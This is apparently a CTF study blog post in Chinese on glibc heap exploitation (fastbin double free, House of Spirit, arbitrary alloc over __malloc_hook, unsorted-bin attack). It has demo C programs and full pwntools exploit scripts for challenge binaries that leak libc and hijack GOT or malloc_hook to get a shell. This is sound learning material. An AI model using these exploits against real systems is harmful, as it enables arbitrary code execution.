bin
zach0ry

fastbin_attack

fastbin attack 存在的原因在于 fastbin 是使用单链表来维护释放的堆块的,并且由 fastbin 管理的 chunk 即使被释放,其 next_chunk 的 prev_inuse 位也不会被清空。

double_free

fastbin 的 chunk 可以被多次释放

当执行 free(p)

  1. glibc 会先确定这个 chunk 属于哪个 arena
  2. 找到对应大小的 fastbin 链表
  3. 检查 头部块main_arena.fastbinsY[idx])是否等于当前要释放的块 p(防止简单的 double free)。
  4. 如果没问题,就把 p 插入到链表头,也就是让它成为 main_arena.fastbinsY[idx] 的新头节点。

但是——它不会沿着整个链表检查后面的节点,所以如果链表后面已经有一个同样地址的块(双重释放形成重复节点),glibc 在 fastbin 阶段是察觉不到的

1
2
3
4
5
6
7
/* Another simple check: make sure the top of the bin is not the
record we are going to add (i.e., double free). */
if (__builtin_expect (old == p, 0))
{
errstr = "double free or corruption (fasttop)";
goto errout;
}

fastbin_dup_consolidate

先malloc一个再free掉,再malloc一个大的会唤起consolidate,把chunk放入之后再malloc会拿到那个指针

malloc_consolidate

典型触发点有几种:

  • 有一次 大尺寸分配(通常请求 >= 某阈值,比如历史上是 0x400 对应 chunk size 0x410),malloc 在 slow-path 中为了寻找大块会先调用 consolidate 以把 fastbin 中块变成可合并的大块供分配使用。
  • 释放(free)时,如果释放操作必须合并或处理非 fastbin 情形,也可能触发 consolidate(实现差异会影响何时调用)。
  • 某些内部一致性/回收路径也会调用它来把 fastbin 清空。

执行流程

从fastbin中取出一个空闲chunk,尝试向后合并

如果不可以就向前合并,如果与top_chunk相邻就直接归入top_chunk

不相邻就插入unsorted_bin中,然后继续从fast_bin中取chunk,直到该链表为空

fastbin push(free 的 fast-path)

  • 不会做合并、也不会修改被释放 chunk 的 size 字段
  • 会把 chunk 的第一个用户 qword(在 fd 存放位置)写成原来 fastbin 头(p->fd = fb_head),并把 arena->fastbinsY[idx] = p
  • 不会去读/写 next_chunk 的头部(也就不清 next_chunk 的 PREV_INUSE)。
  • 目标是最小写操作(性能优先)。

malloc_consolidate(slow-path)

  • 会把 fastbin 中的节点一个个 pop 出来,在把它们带入主 bin / 合并前会对邻居做修正与检查。
  • 其中一个必要操作是清除 next_chunk->PREV_INUSE 位,这个操作实质上是对 next_chunk->size 的写(因为 PREV_INUSE 存在于 size 字段的最低位)。
  • 所以虽然 fast-path 不修改 size,但 consolidate 会修改 下一个 chunk 的 size 的低位(PREV_INUSE),以表示前驱已 free,从而允许合并。
1
2
3
4
5
p1 = calloc(1,0x40);
free(p1);
p3 = malloc(0x400);
free(p1)
p4 = malloc(0x400);
1
2
p1 = calloc(1,0x40);
free(p1);

image-20251110181812158

1
p3 = malloc(0x400);

image-20251110181840453

那个fastbin被合并进top_chunk,然后再从top_chunk开辟处0x400的空间

所以两个地方的指针相同

1
free(p1)

image-20251110182238614

p1,p3指向相同,所以通过p1可以free掉p3

1
p4 = malloc(0x400);

image-20251110182458917

fastbin_dup_into_stack&&Arbitrary Alloc

这两个技术十分相似,都是篡改fd指针指向伪造的chunk,而第二种技术相对来说,涵盖了第一种,我们直接简绍第二种

事实上只要满足目标地址存在合法的 size 域(这个 size 域是构造的,还是自然存在的都无妨),我们可以把 chunk 分配到任意的可写内存中,比如 bss、heap、data、stack 等等

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
int main(void)
{


void *chunk1;
void *chunk_a;

chunk1=malloc(0x60);

free(chunk1);

*(long long *)chunk1=0x7ffff7dd1af5-0x8;
malloc(0x60);
chunk_a=malloc(0x60);
return 0;
}

在这个例子,我们使用字节错位来实现直接分配 fastbin 到**_malloc_hook 的位置,相当于覆盖_malloc_hook 来控制程序流程。**

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
0x7ffff7dd1a88 0x0  0x0 0x0 0x0 0x0 0x0 0x0 0x0
0x7ffff7dd1a90 0x0 0x0 0x0 0x0 0x0 0x0 0x0 0x0
0x7ffff7dd1a98 0x0 0x0 0x0 0x0 0x0 0x0 0x0 0x0
0x7ffff7dd1aa0 0x0 0x0 0x0 0x0 0x0 0x0 0x0 0x0
0x7ffff7dd1aa8 0x0 0x0 0x0 0x0 0x0 0x0 0x0 0x0
0x7ffff7dd1ab0 0x0 0x0 0x0 0x0 0x0 0x0 0x0 0x0
0x7ffff7dd1ab8 0x0 0x0 0x0 0x0 0x0 0x0 0x0 0x0
0x7ffff7dd1ac0 0x0 0x0 0x0 0x0 0x0 0x0 0x0 0x0
0x7ffff7dd1ac8 0x0 0x0 0x0 0x0 0x0 0x0 0x0 0x0
0x7ffff7dd1ad0 0x0 0x0 0x0 0x0 0x0 0x0 0x0 0x0
0x7ffff7dd1ad8 0x0 0x0 0x0 0x0 0x0 0x0 0x0 0x0
0x7ffff7dd1ae0 0x0 0x0 0x0 0x0 0x0 0x0 0x0 0x0
0x7ffff7dd1ae8 0x0 0x0 0x0 0x0 0x0 0x0 0x0 0x0
0x7ffff7dd1af0 0x60 0x2 0xdd 0xf7 0xff 0x7f 0x0 0x0
0x7ffff7dd1af8 0x0 0x0 0x0 0x0 0x0 0x0 0x0 0x0
0x7ffff7dd1b00 0x20 0x2e 0xa9 0xf7 0xff 0x7f 0x0 0x0
0x7ffff7dd1b08 0x0 0x2a 0xa9 0xf7 0xff 0x7f 0x0 0x0
0x7ffff7dd1b10 <__malloc_hook>: 0x30 0x28 0xa9 0xf7 0xff 0x7f 0x0 0x0

0x7ffff7dd1b10 是我们想要控制的 __malloc_hook 的地址,于是我们向上寻找是否可以错位出一个合法的 size 域。因为这个程序是 64 位的,因此 fastbin 的范围为 32 字节到 128 字节 (0x20-0x80),如下所示

1
2
3
4
5
6
7
8
//这里的size指用户区域,因此要小2倍SIZE_SZ
Fastbins[idx=0, size=0x10]
Fastbins[idx=1, size=0x20]
Fastbins[idx=2, size=0x30]
Fastbins[idx=3, size=0x40]
Fastbins[idx=4, size=0x50]
Fastbins[idx=5, size=0x60]
Fastbins[idx=6, size=0x70]

通过观察发现 0x7ffff7dd1af5 处可以现实错位构造出一个 0x000000000000007f

1
2
3
4
0x7ffff7dd1af0 0x60 0x2 0xdd 0xf7 0xff 0x7f 0x0 0x0
0x7ffff7dd1af8 0x0 0x0 0x0 0x0 0x0 0x0 0x0 0x0

0x7ffff7dd1af5 <_IO_wide_data_0+309>: 0x000000000000007f

因为 0x7f 在计算 fastbin index 时(64位),是属于 index 5 的,即 chunk 大小为 0x70 的。

而其大小又包含了 0x10 的 chunk_header,因此我们选择分配 0x60 的 fastbin,将其加入链表。 最后经过两次分配可以观察到 chunk 被分配到 0x7ffff7dd1afd,因此我们就可以直接控制 __malloc_hook 的内容 (在我的 libc 中__realloc_hook 与__malloc_hook 是在连在一起的)。

1
2
3
4
5
6
7
8
9
0x4005a8 <main+66>        call   0x400450 <malloc@plt>
→ 0x4005ad <main+71> mov QWORD PTR [rbp-0x8], rax

$rax : 0x7ffff7dd1afd

0x7ffff7dd1aed <_IO_wide_data_0+301>: 0xfff7dd0260000000 0x000000000000007f
0x7ffff7dd1afd: 0xfff7a92e20000000 0xfff7a92a0000007f
0x7ffff7dd1b0d <__realloc_hook+5>: 0x000000000000007f 0x0000000000000000
0x7ffff7dd1b1d: 0x0000000000000000 0x0000000000000000

House of Spirit

伪造一个假的堆块(Fake Chunk),并让 malloc/free 把它当成合法块处理,从而控制 fastbin 链表。

利用条件:

  1. 在目标地址周围能够伪造一个堆块。
  2. 能对伪造堆块地址周围进行一次释放(即将伪造的堆块地址作为free函数的参数进行一次释放操作)
  3. 释放之后能够重新申请得到这个堆块并篡改目标地址的内容
  • fake chunk 的 ISMMAP 位不能为 1,因为 free 时,如果是 mmap 的 chunk,会单独处理。

  • fake chunk 地址需要对齐, MALLOC_ALIGN_MASK

  • fake chunk 的 size 大小需要满足对应的 fastbin 的需求,同时也得对齐。

  • fake chunk 对应的 fastbin 链表头部不能是该 fake chunk,即不能构成 double free 的情况。

  • fake chunk 的 next chunk 的大小不能小于 2 * SIZE_SZ,同时也不能大于av->system_mem 。因为会检查下一个chunk的size字段,如果下一个chunk的字段不在正常范围内会报错退出,所以在伪造chunk的时候。

  • if` `(__builtin_expect (chunksize_nomask (chunk_at_offset (p, size))  ``//大于一个header
                 ``<= 2 * SIZE_SZ, 0)``//SIZE_SZ是系统单位字节数
        ``|| __builtin_expect (chunksize (chunk_at_offset (p, size))  
                   ``>= av->system_mem, 0))
       ``{
        ``bool` `fail = ``true``;
        ``/* We might not have a lock at this point and concurrent modifications
          ``of system_mem might result in a false positive. Redo the test after
          ``getting the lock. */
        ``if` `(!have_lock)
         ``{
          ``__libc_lock_lock (av->mutex);
          ``fail = (chunksize_nomask (chunk_at_offset (p, size)) <= 2 * SIZE_SZ
              ``|| chunksize (chunk_at_offset (p, size)) >= av->system_mem);
          ``__libc_lock_unlock (av->mutex);
         ``}
        ``if` `(fail)
         ``malloc_printerr (``"free(): invalid next size (fast)"``);
       ``}
    
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16





    >**`free()`要读取并验证 next->size**
    > `free(p)` 不仅看 `p` 的头,而是会访问 `p` 之后的 chunk 的头部来判断是否可以合并、判断大小是否在合理范围内、判断该 header 是否越界等。若 next->size 字段看起来“荒唐”(比如非常小或非常大),就会认为堆已损坏并 abort。
    >
    >**防止向前合并(consolidation)**
    > 如果 next chunk 的头表明前一块是空闲(`PREV_INUSE` 标志不正确),或者 next chunk 的 size 表示它是 top/chunkpool 的一部分,`free()` 会尝试合并或作特殊处理。为了**让 allocator 不去合并或不触发其它异常路径**,伪造的块需要让 next chunk 的头看起来“逻辑上正确”——典型做法是把 next->size 标为一个合规大小并且把 PREV_INUSE 置位,表明“上一个块(即我们伪造的块)是被占用/符合预期”,从而避免合并。
    >
    >**绕过大小/arena 检查**
    > 新版本 glibc 会检查 chunk size 是否在 arena 可接受的范围(与 `av->system_mem`、最小块大小等比较)。如果 next->size 不在允许范围,`free()` 会报错。用 House of Spirit 时必须让 next->size 看起来既不“太小”也不“太大”,并满足对齐与标志位规则。
    >
    >

#include <stdio.h>
#include <stdlib.h>
#include <time.h>
#include <unistd.h>

void init() {
setvbuf(stdout, 0, 2, 0);
setvbuf(stdin, 0, 1, 0);
setvbuf(stderr, 0, 1, 0);
}

long long data[0x20] = {0};

int main(){
int size = 0x70;
void *p;
init();

malloc(0);	// fake chunk header

printf("%p\n",data);
data[0] = 0x0;
data[1] = size | 1; // prev_inuse_bit

data[size / 8] = 0x0;// fake next chunk header
data[(size / 8) + 1] = 0x11;
sleep(0);
// free user data place, fd.
free(&data[2]);
sleep(0);
// user's size == chunk_size - 0x10
p = malloc(size - 0x10);
printf("%p\n",p);
sleep(0);

}

1
2
3

编译

gcc -Wl,-z,lazy -no-pie -z noexecstack -fno-stack-protector House_of_Spirit.c -o House_of_Spirit

1
2
3

执行输出

0x6010a0
0x6010b0

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45



第一个sleep处

<img src="https://cdn.jsdelivr.net/gh/zach0ry-zzh/Inage//test/image-20251111190557676.png" alt="image-20251111190557676" style="zoom:67%;" >![image-20251111190754042](https://cdn.jsdelivr.net/gh/zach0ry-zzh/Inage//test/image-20251111190754042.png)

第二次sleep,伪造的chunk会被放入bin链中

![image-20251111190842480](https://cdn.jsdelivr.net/gh/zach0ry-zzh/Inage//test/image-20251111190842480.png)





#### 例Arbitrary Alloc

[例题](https://ctf.show/challenges#pwn144-4163)

![image-20251110215048591](https://cdn.jsdelivr.net/gh/zach0ry-zzh/Inage//test/image-20251110215048591.png)

add

![image-20251110215135839](https://cdn.jsdelivr.net/gh/zach0ry-zzh/Inage//test/image-20251110215135839.png)

edit

自定义输入,存在堆溢出

![image-20251110215205315](https://cdn.jsdelivr.net/gh/zach0ry-zzh/Inage//test/image-20251110215205315.png)

free

指针置零

没有uaf漏洞

![image-20251110215255384](https://cdn.jsdelivr.net/gh/zach0ry-zzh/Inage//test/image-20251110215255384.png)

且存在后门函数,magic是bss上的全局变量,只要让bss处的值<= 0x1BF52即可![image-20251110215404500](https://cdn.jsdelivr.net/gh/zach0ry-zzh/Inage//test/image-20251110215404500.png)

考虑让函数的堆空间开辟到这个magic处,让函数可以修改他的值

先malloc两个堆块,free掉下面那一个用作改fd

add(0x10 , ‘aaaa’) #0
add(0x60 , ‘bbbb’) #1
free(1) #1

1
2
3
4
5

![image-20251110220110022](https://cdn.jsdelivr.net/gh/zach0ry-zzh/Inage//test/image-20251110220110022.png)

在magic的前面找打到了这个符合要求的size,改fd为这个地址,之后malloc就可以取出我们的bss处

payload = 0x18 * b’a’ + p64(0x71) + p64(0x000000000060208d)
edit(0 , len(payload) , payload)
add(0x60 , ‘aaaa’) #1

1
2
3

最后在目标处写入就可以了

payload1 = 3 * b’a’ + p64(0x1bf53)
add(0x60 , payload1) #2

1
2
3
4
5

![image-20251110220543118](https://cdn.jsdelivr.net/gh/zach0ry-zzh/Inage//test/image-20251110220543118.png)

脚本

from pwn import *
import sys
from LibcSearcher import *

file_path = “./222”
remote_host = “1.95.36.136”
remote_port = 2110
context(arch=’amd64’, os=’linux’, log_level=’debug’)

context.terminal = [
“cmd.exe”, “/c”,
“start”, “/max”, “”, “wt.exe”,
“–profile”, “WSL GDB (Black)”,
“–”, “wsl”, “bash”, “-lc”
]

elf = ELF(file_path)
libc = elf.libc
if ‘re’ in sys.argv:
p = remote(remote_host, remote_port)
else:
p = process(file_path)
#gdb.attach(p,”b*”)

def dbg():
gdb.attach(p)
pause()
def sla(a, b):
p.sendlineafter(a, b)
def ru(a):
p.recvuntil(a)
def sa(a, b):
p.sendafter(a, b)

def add(size , content) :
p.sendafter(‘Your choice :’ , b’1’)
p.sendafter(‘Size of Heap : ‘ , str(size))
p.sendafter(‘Content of heap:’ , content)
def edit(idx , size , content) :
p.sendafter(‘Your choice :’ , b’2’)
p.sendafter(‘Index :’ , str(idx))
p.sendafter(‘Size of Heap : ‘ , str(size))
p.sendafter(‘Content of heap : ‘ , content)
def free(idx) :
p.sendafter(‘Your choice :’ , b’3’)
p.sendafter(‘Index :’ , str(idx))

add(0x10 , ‘aaaa’) #0
add(0x60 , ‘bbbb’) #1
free(1) #1
payload = 0x18 * b’a’ + p64(0x71) + p64(0x000000000060208d)
edit(0 , len(payload) , payload)
add(0x60 , ‘aaaa’) #1
payload1 = 3 * b’a’ + p64(0x1bf53)
add(0x60 , payload1) #2
p.sendafter(‘Your choice :’ , b’114514’)

p.interactive()

1
2
3

unlink方法

tar=0x00000000006020C0
add(0x30,b”111111111”)
add(0x80,b”222222”)

pay=p64(0)+p64(0x30)+p64(tar-0x18)+p64(tar-0x10)+p64(0)*2+p64(0x30)+p64(0x90)
edit(0,len(pay),pay)
free(1)
pay=p64(0)*3+p64(elf.got[“read”])

edit(0,len(pay),pay)
edit(0,8,p64(0x400D71))

p.interactive()

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41

#### 例House of Spirit

[链接](https://github.com/ctf-wiki/ctf-challenges/tree/master/pwn/linux/user-mode/heap/fastbin-attack/2014_hack.lu_oreo)

![image-20251111220602921](https://cdn.jsdelivr.net/gh/zach0ry-zzh/Inage//test/image-20251111220602921.png)

add

看到会把上一个chunk的地址放置在高13个块处,也就是13*4=52处,而输入可以输入56个字节,可以覆盖到上一个chunk_addr处

![image-20251111220624291](https://cdn.jsdelivr.net/gh/zach0ry-zzh/Inage//test/image-20251111220624291.png)

show

遍历每13个空间处chunk的内容,读取其内容

![image-20251111220636302](https://cdn.jsdelivr.net/gh/zach0ry-zzh/Inage//test/image-20251111220636302.png)



free

没有uaf漏洞,读取chunk处

![image-20251111221113506](https://cdn.jsdelivr.net/gh/zach0ry-zzh/Inage//test/image-20251111221113506.png)



message

会对0804A2A8存储的内容地址处写入

![image-20251111221433862](https://cdn.jsdelivr.net/gh/zach0ry-zzh/Inage//test/image-20251111221433862.png)



目标:把让栈开辟到0804A2A8地址处

1.读取puts地址

payload1 = b’a’*27+p32(elf.got[‘puts’])
add(b’a’*25,payload1)
show()
p.recvuntil(‘Description: ‘)
p.recvuntil(‘Description: ‘)
puts= u32(p.recvuntil(“\n”,drop=True)[:4])
print(hex(puts))
libc_base = puts - libc.symbols[‘puts’]
system_addr = libc_base + libc.symbols[‘system’]

1
2
3
4
5
6
7

![image-20251111221942498](https://cdn.jsdelivr.net/gh/zach0ry-zzh/Inage//test/image-20251111221942498.png)

2.修改fake_chunk的size,看到目标0804A2A8上的0804A2A4每次正好对应每次操作的加数,所以多次进行add把它改为0x38对应的size=0x40

修改上一个chunk的地址以欺骗malloc

num = 1
while num < 0x3f:
add(‘a’*25,’a’*27)
num += 1
payload2 = b’a’*27+p32(0x0804a2a8)
add(b’a’*25,payload2)

1
2
3
4
5
6
7

3.修改下一个chunk的size,通过House of Spirit堆下一个size的校验

注意这里每个chunk的last_heap都要设置成NULL,因为在后面delete的时候是依次free,这样才可以判断出之后没有chunk了

message是从0x0804a2c0开始编辑的,而我们的chunk从0x0804a2a8开始的0x38个字节,填满整个chunk需要0x38-(0xc0-0xa8) = 0x20字节,但最后4个字节也就是last_heap我们要设置为NULL。我把这个size设置为100,只要不大不小就行,比如0x100也行

payload3 = b’\x00’*0x20+p32(0x50)
message(payload3)
order()

1
2
3
4
5
6
7

调试看到是从0x804a2c0开始输入

![image-20251111214707214](https://cdn.jsdelivr.net/gh/zach0ry-zzh/Inage//test/image-20251111214707214.png)

4.改got表格地址

sscanf_got = elf.got[‘__isoc99_sscanf’]
add(p32(sscanf_got),b’a’)
message(p32(system_addr))
p.sendline(‘/bin/sh\0’)

1
2
3

脚本

from pwn import *
p = process(‘./oreo’)
elf = ELF(“./oreo”)
libc = ELF(‘./libc.so.6’)

context.terminal = [
“cmd.exe”, “/c”,
“start”, “/max”, “”, “wt.exe”,
“–profile”, “WSL GDB (Black)”,
“–”, “wsl”, “bash”, “-lc”
]
def dbg():
gdb.attach(p)
pause()
def dbg():
gdb.attach(p)
pause()
def sla(a, b):
p.sendlineafter(a, b)
def ru(a):
p.recvuntil(a)
def sa(a, b):
p.sendafter(a, b)

def add(descrip, name):
p.sendline(‘1’)
p.sendline(name)
p.sendline(descrip)
def show():
p.sendline(‘2’)
p.recvuntil(‘===================================\n’)

def order():
p.sendline(‘3’)

def message(notice):
p.sendline(‘4’)
p.sendline(notice)

payload1 = b’a’*27+p32(elf.got[‘puts’])
add(b’a’*25,payload1)
show()
p.recvuntil(‘Description: ‘)
p.recvuntil(‘Description: ‘)
puts= u32(p.recvuntil(“\n”,drop=True)[:4])
print(hex(puts))
libc_base = puts - libc.symbols[‘puts’]
system_addr = libc_base + libc.symbols[‘system’]

num = 1
while num < 0x3f:
add(‘a’*25,’a’*27)
num += 1

payload2 = b’a’*27+p32(0x0804a2a8)
add(b’a’*25,payload2)

payload3 = b’\x00’*0x20+p32(0x50)
message(payload3)
order()
p.recvuntil(b’Okay order submitted!\n’)

sscanf_got = elf.got[‘__isoc99_sscanf’]
add(p32(sscanf_got),b’a’)
message(p32(system_addr))
p.sendline(‘/bin/sh\0’)

p.interactive()

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28







## unsorted_bin attack

`Unsorted Bin` 在管理时为循环双向链表,若 `Unsorted Bin` 中有两个 `bin`,那么该链表结构如下

`unsorted bin`也是以链表的方式进行组织的,和`fast bin`不同的是其分配方式是`FIFO`,即一个chunk放入`unsorted bin`链时将该堆块插入链表头,而从这个链取堆块的时候是从尾部开始的,因此`unsorted bin`遍历堆块的时候使用的是`bk`指针。

![img](https://cdn.jsdelivr.net/gh/zach0ry-zzh/Inage//test/unsortedbins-struct.jpg)

![img](https://cdn.jsdelivr.net/gh/zach0ry-zzh/Inage//test/gdb-debug-state.png)

从 unsorted 取 chunk 时必写 bck->fd = fwd,但只有 victim 是最后一个元素(或唯一元素)时,bck->fd 才会被写成 unsorted bin 的位置。

>unsorted_chunks(av)返回的是 **unsorted bin 的链表头部(bin header)**实际上是 `&main_arena + 0x88` 附近,简称bin
>
>bin->fd // 链表第一个 chunk
>bin->bk // 链表最后一个 chunk
>
>unsorted bin从bin->bk开始取,从bin>fd开始放

bck就是victim->bk,所以控制了 bk 的值,我们就能将 `unsorted_chunks (av)` 写到任意地址。

      /* remove from unsorted list */
      if (__glibc_unlikely (bck->fd != victim))
        malloc_printerr ("malloc(): corrupted unsorted chunks 3");
        #下面两个真正进行解链
      unsorted_chunks (av)->bk = bck;#连接第二放进去的
      bck->fd = unsorted_chunks (av);#改fd为main_arena
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19

但是该攻击方法只能实现向一个地址处写入一个大数(main_arena)

且`leak_fd = libc_base + offset_main_arena + offset_in_arena`

**对于offset_main_arena**

main_arena 在 libc 中的偏移

![image-20251119211557809](https://cdn.jsdelivr.net/gh/zach0ry-zzh/Inage//test/image-20251119211557809.png)

**对于offset_in_arena**

fd 指向 main_arena 内部的哪个字段

![image-20251119210717358](https://cdn.jsdelivr.net/gh/zach0ry-zzh/Inage//test/image-20251119210717358.png)

### unsorted_bin_attack

#include <stdio.h>
#include <stdlib.h>

int main(){
unsigned long stack_var=0;
unsigned long *p=malloc(400);
malloc(500);#防合并
free(p);
#改bk位
p[1]=(unsigned long)(&stack_var-2);#bk
malloc(400);#会把bk+0x10处改为malloc_arena
}

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19

第一次free之后

![image-20251113213656583](https://cdn.jsdelivr.net/gh/zach0ry-zzh/Inage//test/image-20251113213656583.png)

修改为目标地址

![image-20251113213854399](https://cdn.jsdelivr.net/gh/zach0ry-zzh/Inage//test/image-20251113213854399.png)

malloc(0x400)之后

![image-20251118194441148](https://cdn.jsdelivr.net/gh/zach0ry-zzh/Inage//test/image-20251118194441148.png)

bck+0x10处被改写为main_arena



### unsorted_bin_into_stack

#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <string.h>
#include <assert.h>

void jackpot(){ printf(“Nice jump d00d\n”); exit(0); }

int main() {
intptr_t stack_buffer[4] = {0};

intptr_t* victim = malloc(0x100);
intptr_t* p1 = malloc(0x100);#防合并
free(victim);
#伪造chunk
stack_buffer[1] = 0x100 + 0x10;
stack_buffer[3] = (intptr_t)stack_buffer;#指向自身

victim[-1] = 32;#改自身size让malloc(0x100)时可以返回fake_chunk
victim[1] = (intptr_t)stack_buffer;#victim->bk=fake——chunk

char *p2 = malloc(0x100);
printf("malloc(0x100): %p\n", p2);

}

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63

free之后

![image-20251117192454459](https://cdn.jsdelivr.net/gh/zach0ry-zzh/Inage//test/image-20251117192454459.png)

修改fake_chunk,让bk指向自身

![image-20251117192533976](https://cdn.jsdelivr.net/gh/zach0ry-zzh/Inage//test/image-20251117192533976.png)



修改真实chunk大小,改bk为fake—chunk处

>glibc 把 chunk 放进哪个 bin,是在 `free()` 的那一刻决定的;
> 你之后在内存里手动改 `size`,并不会把它“搬家”到 fastbin。

![image-20251117193142732](https://cdn.jsdelivr.net/gh/zach0ry-zzh/Inage//test/image-20251117193142732.png)

之后malloc(0x100)就可以取到fake_chunk,且其fd位写入了main_arena

![image-20251117194014605](https://cdn.jsdelivr.net/gh/zach0ry-zzh/Inage//test/image-20251117194014605.png)

![image-20251117194410353](https://cdn.jsdelivr.net/gh/zach0ry-zzh/Inage//test/image-20251117194410353.png)

此时也不能malloc(0x20)因为会校验下一个size是否匹配

上面House of Spirit提到过

#### 例0ctf_2017_babyheap

[链接](https://buuoj.cn/challenges#0ctf_2017_babyheap)

![image-20260208103143181](https://cdn.jsdelivr.net/gh/zach0ry-zzh/Inage//test/image-20260208103143181.png)

>| 项目 | `malloc(size)` | `calloc(n, size)` |
>| --------------------- | ------------------------------------ | -------------------------- |
>| 参数形式 | 申请 `size` 字节 | 申请 `n * size` 字节 |
>| 返回内存内容 | **未初始化**(可能包含旧 heap 数据) | **全部清零** |
>| 是否自动 memset | 否 | 是(内部清零) |
>| 整数溢出检查 | 无 | 有(检查 `n*size` 溢出) |
>| 性能 | 通常更快 | 稍慢(需清零) |
>| libc 实现路径 | 标准 malloc 路径 | 可能优化路径 + 清零 |
>| 信息泄露可能性(PWN) | 高(常用泄露指针) | 低(数据被清零) |
>| 对利用影响 | 利用友好 | 利用难度更高 |
>| 常见用途 | 通用分配 | 数组/结构初始化 |
>| 等价代码 | — | `malloc(n*size)+memset(0)` |

![image-20260208103158745](https://cdn.jsdelivr.net/gh/zach0ry-zzh/Inage//test/image-20260208103158745.png)

![image-20260208103255246](https://cdn.jsdelivr.net/gh/zach0ry-zzh/Inage//test/image-20260208103255246.png)

![image-20260208103306171](https://cdn.jsdelivr.net/gh/zach0ry-zzh/Inage//test/image-20260208103306171.png)

思路,先泄露libc_base

把unsorted_bin放入(1个),此时它的fd,bk存放的是main_arena+88,没有uaf,通过overlapping chunks来拿到相同地址来输出去匹配

再把malloc_hook处覆盖为one_gadget

找合适的size去匹配chunk

1.创建chunk,然后free两个

add(0x10)
add(0x10)
add(0x10)
add(0x10)
add(0x80)

delet(1)
delet(2)

1
2
3
4
5
6
7
8
9

![image-20251120192818253](https://cdn.jsdelivr.net/gh/zach0ry-zzh/Inage//test/image-20251120192818253.png)

2.修改

fastbin_dup_into_stack再次拿到块4的指针:修改free的chunk的fd指针指向4,之后改那个大chunk的size为fastbin的那个0x20

这里开了pie保护只能覆盖最后一位进行

pay=p64(0)*3+p64(0x21)+p64(0)*3+p64(0x21)+p8(0x80)
edit(0,len(pay),pay)

pay=p64(0)*3+p64(0x21)
edit(3,len(pay),pay)
#dbg()
add(0x10)
add(0x10)#2
dbg()

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20

![image-20251120193245980](https://cdn.jsdelivr.net/gh/zach0ry-zzh/Inage//test/image-20251120193245980.png)



># 为什么两次 free 比单次 free 更“好用”或更方便
>
>- **降低对精确偏移的要求**:用两个 free,你通常只需要把某个已存在的 fastbin 链表节点的 fd 改成目标地址,而不必从零开始精确写入那个 freed chunk 的 fd(因为链表里已经有两个节点,覆盖其中一个相对容易)。尤其当你是通过越界写覆盖相邻多个 header/用户区域时,构造两个 free 能让写入模式更自然匹配内存布局。
>- **可控的分配序列**:两次 malloc 的返回序列是可预期的(先 head,再 head->fd),配合覆写其中 one 的 fd,可以更可靠地让第二个 malloc 返回你想要的地址。
>- **调试友好**:失败时状态更容易观察(先拿到第一个 freed chunk,再看第二个是否命中目标),比一次性精确写 fd 更易定位错误。
>- **避免直接触碰被 free 的第一个 chunk 的 header**:有时第一个 freed chunk 的一些字段不容易被越写到或对齐写入,构造两个 free 后可以选择覆盖链表中较容易到达的节点。



3.

接着是为了拿到main_arena的地址

把tar的chunk处size改为unsorted—bin,以把该chunk free之后可以把fd bk赋值为main_arena+offset,同时再add一个unsortedbin的chunk防止它和top_chunk合并

pay=b”a”*0x18+p64(0x91)
edit(3,len(pay),pay)
add(0x80)#避免top chunk合并
delet(4)
show(2)

1
2
3
4
5

![image-20251112201030610](https://cdn.jsdelivr.net/gh/zach0ry-zzh/Inage//test/image-20251112201030610.png)

![image-20251119204629790](https://cdn.jsdelivr.net/gh/zach0ry-zzh/Inage//test/image-20251119204629790.png)

hook=u64(p.recvuntil(b”\x7f”)[-6:].ljust(8,b”\x00”))-0x58-0x10
libc=LibcSearcher(‘__malloc_hook’,hook)
libc_base=hook-libc.dump(“__malloc_hook”)
print(hex(libc_base))

1
2
3
4
5
6
7
8
9
10
11
12
13

4.最后把malloc_hook覆盖为system就可以了

用Arbitrary Alloc找到合适的size

并且计算出偏移

![image-20251120203309866](https://cdn.jsdelivr.net/gh/zach0ry-zzh/Inage//test/image-20251120203309866.png)

要伪造这个大小为0x70的chunk,并且有一个真实的0x60的fastbin的fd来放置它的位置

这里用chunk4来提供这个原0x70的fastbin

add(0x60)
delet(4) #将0x80的块分成0x60在fastbin中,0x20在unsortedbin中
dbg()

1
2
3
4
5
6
7

![image-20251120203810080](https://cdn.jsdelivr.net/gh/zach0ry-zzh/Inage//test/image-20251120203810080.png)

之后改接下来的0x60的chunk为fake_chunk,并且把malloc——hook填充为one_gadget

就是标准的Arbitrary Alloc

payload = p64(hook - 0x23)#改fd
edit(2,len(payload),payload)
add(0x60)
add(0x60)

payload = b’a’*(3+0x10)
payload += p64(libc_base+0x4526a)
edit(6,len(payload),payload)
add(16)

1
2
3
4
5
6
7





脚本

from pwn import *
import sys
from LibcSearcher import *

file_path = “./0ctf_2017_babyheap”
remote_host = “node5.buuoj.cn”
remote_port = 29397
context(arch=’amd64’, os=’linux’, log_level=’debug’)

context.terminal = [
“cmd.exe”, “/c”,
“start”, “/max”, “”, “wt.exe”,
“–profile”, “WSL GDB (Black)”,
“–”, “wsl”, “bash”, “-lc”
]

elf = ELF(file_path)
#libc = elf.libc
if ‘re’ in sys.argv:
p = remote(remote_host, remote_port)
else:
p = process(file_path)
#gdb.attach(p,”b*”)

def dbg():
gdb.attach(p)
pause()
def sla(a, b):
p.sendlineafter(a, b)
def ru(a):
p.recvuntil(a)
def sa(a, b):
p.sendafter(a, b)

def add(size):
p.recvuntil(“Command: “)
p.sendline(str(1))
p.recvuntil(“Size: “)
p.sendline(str(size))

def edit(idx,size,content):
p.recvuntil(“Command: “)
p.sendline(str(2))
